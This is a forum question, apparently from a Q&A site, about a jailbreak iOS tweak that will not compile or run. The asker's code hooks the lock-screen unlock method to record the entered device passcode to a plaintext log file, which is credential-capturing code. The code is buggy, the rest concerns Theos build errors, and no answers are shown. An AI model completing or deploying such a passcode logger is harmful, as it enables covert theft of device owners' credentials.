Mobile Substrate Tweak Not Running & Compiling

712 Views Asked by At

I uploaded all of my files onto GitHub to make this easier, because I can't really tell what the problem is: https://github.com/Coler234/PasswordLogger

I just setup my repo, and now I'm trying to create my first tweak. What it is supposed to do is log the passwords entered. I was watching a YouTube series and it was one of the headers he showed. My code for it is:

%hook SBDeviceLockController

    - (_Bool)attemptDeviceUnlockWithPassword:(id)arg1 appRequested:(_Bool)arg2{
            passwordSubmitted = arg1;

            //Create the log file, and submit the query

            //if file does not exist{
        if(![[NSFileManager defaultManager]fileExistsAtPath:filePath]){
                NSString *content = (passwordSubmitted);
                NSData *fileContents = [content dataUsingEncoding:NSUTF8StringEncoding];
                [[NSFileManager defaultManager] createFileAtPath:@"log.txt"
                                    contents:fileContents
                                    attributes:nil];
        }else{
            NSFileHandle *myHandle = [NSFileHandle fileHandleForWritingAtPath:filePath];
            [myHandle seekToEndOfFile];
            [myHandle writeData:[passwordSubmitted dataUsingEncoding:NSUTF8StringEncoding]];

        }
            //}else{
                //So if it does extist, just write the new entry into the file



        //}
        %orig;
        return passwordSubmitted;
        UIAlertView* alert = [[UIAlertView alloc] initWithTitle:@"Password:" message:@"Test" delegate:nil cancelButtonTitle:@"Ok" otherButtonTitles:nil];
        [alert show];
        [alert release];
    }



%end

When I'm trying to compile it using make package message=yes but I'm getting the error /sw/bin/dpkg-deb: unknown option -Z. I couldn't find anything about this problem so I went into the code and removed the Zlzma in $(ECHO_NOTHING)COPYFILE_DISABLE=1 $(FAKEROOT) -r $(_THEOS_PLATFORM_DPKG_DEB) -Zlzma -b "$(THEOS_STAGING_DIR)" "$(_THEOS_DEB_PACKAGE_FILENAME)"$(ECHO_END) in the deb.mk file that is run when the command make package is ran.

Then it returns:

#@(COPYFILE_DISABLE=1 /Users/Panja/theos/bin/fakeroot.sh -p "/Users/Panja/Desktop/Tweaks/firsttweak/.theos/fakeroot" -r dpkg-deb -Zlzma -b "/Users/Panja/Desktop/Tweaks/firsttweak/.theos/_" "./packages/com.fmancoding.firsttweak_0.1.7-4+debug_iphoneos-arm.deb")

So i go to ./theos/- and the .dylib file and .plist files are their, along with the control files and they are in the directory format. So I compile the .deb file myself using a command I found when uploading my unsigned apps and uploaded that to my repo. I downloaded the tweak without any problems but nothing works.

So then I got a basic piece of code online and tried compiling that. I got the same error, went to the hidden theos folder, grabbed the files, compiled it to a deb file, and uploaded it. That code still didn't work.

The code I got online:

%hook SBApplicationIcon
-(void)launch
{
NSString *appName = [self displayName];
NSString *message = [NSString stringWithFormat:@"The app %@ has been launched", appName, nil];
    UIAlertView *alert = [[UIAlertView alloc] initWithTitle:appName message:message delegate:self cancelButtonTitle:@"OK" otherButtonTitles:nil];
    [alert show];
    [alert release];
    %orig;
}
%end

Sorry that this is so long, but even with everything I searched, I couldn't find a single answer to any of my problems.

Thank you for any help, it is very much appreciated.

UPDATE: The tweak is being loaded: Jul 7 20:15:54 iPhone SpringBoard[2641] <Notice>: MS:Notice: Loading: /Library/MobileSubstrate/DynamicLibraries/FirstTweak.dylib

UPDATE 2: com.apple.springboard is being loaded, not com.apple.SpringBoard:
Jul 7 20:26:22 iPhone SpringBoard[2699] : MS:Notice: Injecting: com.apple.springboard [SpringBoard] (1241.11)

0

There are 0 best solutions below